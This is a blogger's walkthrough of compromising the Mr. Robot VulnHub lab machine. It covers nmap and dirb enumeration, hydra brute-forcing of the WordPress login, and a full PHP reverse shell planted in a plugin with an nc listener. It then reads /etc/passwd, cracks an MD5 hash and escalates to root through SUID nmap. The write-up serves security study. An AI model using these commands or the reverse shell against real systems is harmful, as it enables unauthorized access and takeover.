**Jean-Francois Maes**
Young Graduate at Dimension Data with special interest in Security and Automation & Co-Founder of Joy-Time

Follow

# Pentest: Domo arigato mr. Roboto

9 minute read

ON THIS PAGE



Since I want to do the OSCP certifcation next year, I figured it's time to try and tackle a machine that is listed under "OSCP like" in some forums I scoured during my recon for OSCP resources. I found a vulnhub machine called Mr.Robot and I'm a fan of the show, so it's a double win in my book! The machine is available to download here.

## Recon with nmap

The IP is not advertised on bootup, so we have to figure it out ourselves. Let's go into host discovery mode with nmap:

`nmap -sP 10.0.2.0/24` 10.0.2.0/24 is my lab ip range, this could be different for you of course

```
MAC Address: 08:00:27:48:30:23 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.11
Host is up (0.00024s latency).
MAC Address: 08:00:27:29:8B:AC (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.6
Host is up.
```

Since my attacker machine has the ip of 10.0.2.6 I know that the victim is at 10.0.2.11. Time for a portscan:

`nmap -p- 10.0.2.11`

```
PORT    STATE  SERVICE
22/tcp  closed ssh
80/tcp  open   http
443/tcp open   https
MAC Address: 08:00:27:29:8B:AC (Oracle VirtualBox virtual NIC)
```

We see that there is an SSH service, but its in closed state, and there is a website available, time to browse it and do some webrecon.

---

## Spidering the website manually and dirbing

What I thought was going to be a website, turned out to be some kind of shell, awesome! Keep in mind that even though the webpage looks like a shell, it's still a webpage, that's just some fancy javascript and other stuff. Don't let it distract you.

I manually checked robots.txt and saw an interesting entry in there:

```
User-agent: *
fsocity.dic
key-1-of-3.txt
```

I redirected my browser to 10.0.2.11/key-1-of-3.txt and we already have key number 1, 2 more to go. I also downloaded the fsocity.dic onto my machine by simpley browsing to it, because this might help with bruteforcing later.

time to use dirb: `dirb http://10.0.2.11` this gave a goldmine on hidden pages on the website.

```
---- Scanning URL: http://10.0.2.11/ ----
==> DIRECTORY: http://10.0.2.11/0/
==> DIRECTORY: http://10.0.2.11/admin/
+ http://10.0.2.11/atom (CODE:301|SIZE:0)
==> DIRECTORY: http://10.0.2.11/audio/
==> DIRECTORY: http://10.0.2.11/blog/
==> DIRECTORY: http://10.0.2.11/css/
+ http://10.0.2.11/dashboard (CODE:302|SIZE:0)
+ http://10.0.2.11/favicon.ico (CODE:200|SIZE:0)
==> DIRECTORY: http://10.0.2.11/feed/
==> DIRECTORY: http://10.0.2.11/image/
==> DIRECTORY: http://10.0.2.11/Image/
==> DIRECTORY: http://10.0.2.11/images/
+ http://10.0.2.11/index.html (CODE:200|SIZE:1134)
+ http://10.0.2.11/index.php (CODE:301|SIZE:0)
+ http://10.0.2.11/intro (CODE:200|SIZE:516314)
==> DIRECTORY: http://10.0.2.11/js/
+ http://10.0.2.11/license (CODE:200|SIZE:19930)
+ http://10.0.2.11/login (CODE:302|SIZE:0)
+ http://10.0.2.11/page1 (CODE:301|SIZE:0)
+ http://10.0.2.11/phpmyadmin (CODE:403|SIZE:94)
+ http://10.0.2.11/rdf (CODE:301|SIZE:0)
+ http://10.0.2.11/readme (CODE:200|SIZE:7334)
+ http://10.0.2.11/robots (CODE:200|SIZE:41)
+ http://10.0.2.11/robots.txt (CODE:200|SIZE:41)
+ http://10.0.2.11/rss (CODE:301|SIZE:0)
```

```
+ http://10.0.2.11/rss2 (CODE:301|SIZE:0)
+ http://10.0.2.11/sitemap (CODE:200|SIZE:0)
+ http://10.0.2.11/sitemap.xml (CODE:200|SIZE:0)
==> DIRECTORY: http://10.0.2.11/video/
==> DIRECTORY: http://10.0.2.11/wp-admin/
+ http://10.0.2.11/wp-config (CODE:200|SIZE:0)
==> DIRECTORY: http://10.0.2.11/wp-content/
+ http://10.0.2.11/wp-cron (CODE:200|SIZE:0)
==> DIRECTORY: http://10.0.2.11/wp-includes/
+ http://10.0.2.11/wp-links-opml (CODE:200|SIZE:228)
+ http://10.0.2.11/wp-load (CODE:200|SIZE:0)
+ http://10.0.2.11/wp-login (CODE:200|SIZE:2589)
+ http://10.0.2.11/wp-mail (CODE:403|SIZE:3018)
+ http://10.0.2.11/wp-settings (CODE:500|SIZE:0)
+ http://10.0.2.11/wp-signup (CODE:302|SIZE:0)
+ http://10.0.2.11/xmlrpc (CODE:405|SIZE:42)
+ http://10.0.2.11/xmlrpc.php (CODE:405|SIZE:42)
```

I instantly see that there is a wordpress running on this VM.

sufing to the /login page redirected me to https://10.0.2.11/wp-login.php

surfing to https://10.0.2.11/phpmyadmin gave me the message: For security reasons, this URL is only accessible using localhost (127.0.0.1) as the hostname. So we should go back to this when we pwn the VM.

Other links yield very little interesting results, but feel free to browse through them for funzies.

## wpscanning

Since wordpress is running let's use the tool wpscan to check for any vulnerabilities and the scan found nothing!

## bruteforcing the wordpress

we have a nice dictionary (fsociety.dic), but it's quite large and has a lot of duplicates, let's remove the duplicates first: `sort fsocity.dic | uniq > fsocun` now we dramatically reduced the size of the dictionary, and can now use it to bruteforce faster.

The first step of bruteforcing is to manually try a login first to see what error message you get, after trying a wrong combination it gave me the message invalid username. This is great, because now we can first bruteforce the username and after that the password, instead of trying to bruteforce both at the same time.

```
hydra -Vv -L /root/Downloads/fsocuni -p randompass 10.0.2.11 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'
```

after a while we got : `[80][http-post-form] host: 10.0.2.11 login: ELLIOT password: randompass`

so we know ELLIOT is a valid username, let's bruteforce his password

```
hydra -Vv -l ELLIOT -P /root/Downloads/fsocuni 10.0.2.11 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
```

after a while we got:

```
[80][http-post-form] host: 10.0.2.11 login: elliot password: ER28-0652
```

## uploading a php webshell

I replaced hello dolly with the php webshell

```
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
```

```
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
```

```
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
```

```
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
```

```
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
```

```
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
```

```
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
```

```
        }
}

?>
```

setup a listener on your system to the port you modified the script for `nc -lvp 1234` and activate the plugin, bam you have a shell.

---

## Snooping around in the server

first thing I do is `cat /etc/passwd`

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
```

```
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:
```

I see root has a bash shell, and I see there is a robot user

lets see the current home directory…

```
cd /home;ls
```

There is a robot folder in there

```
cd robot;ls
```

there is a key file and a password.raw-md5 file in there, we appearantly don't have permission to view the key file but we can cat the password file.

```
cat password.raw-MD5
robot:c3fcd3d76192e4007dfb496cca67e13b
```

Let's decrypt the md5 password with a decryptor of your choice.

`c3fcd3d76192e4007dfb496cca67e13b : abcdefghijklmnopqrstuvwxyz`

Now we need to spawn bash using `python -c 'import pty; pty.spawn("/bin/sh")'`

and now we can use `su robot` to change to the robot user and get the second flag.

We are now able to read the second flag!

---

## Root escalation

This is a bit tricky, I did not find anything to exploit on this system...

Let's see what is owned by root by using `find / -user root -perm -4000 2>/dev/null` this command will show all files owned by root, that we can access too. I see `nmap` is amongst the programs.

after doing some research I found this blog and blog

appearantly nmap has an –interactive mode which spawns a shell and we can use this shell to escalate ourselves to Root

```
nmap --interactive
!sh
```

and yes, we can now run root commands

**Tags:** ctf exploits Pentest

**Categories:** Penetration-Testing

**Updated:** December 07, 2017

**SHARE ON**

Twitter Facebook G+ Google+ LinkedIn

Previous Next

**YOU MAY ALSO ENJOY**

## Pentest: Lazy Sys Admin

6 minute read

Another day another lab, this is going to be the last linux VM for a while, I'll do more of them at some point but for now I'll have to study for CCNA and af...

## Pentest: owning Zico2

8 minute read

Another day, another VM to get owned! This time I'm doing an intermediate one called Zico2, as always this VM is available on Vulnhub here. —-

## Pentest: owning a docker host

10 minute read

As I did my bachelorthesis around Docker and best practices around Docker, I found it interesting and challenging for myself to break a Docker host. Vulnhub ...

## Pentest: owning rick and morty VM

6 minute read

My collegues told me about vulnhub, a website for peneteration tester to test their skills on boot2root VM's. On the site you'll find multiple boxes, with va...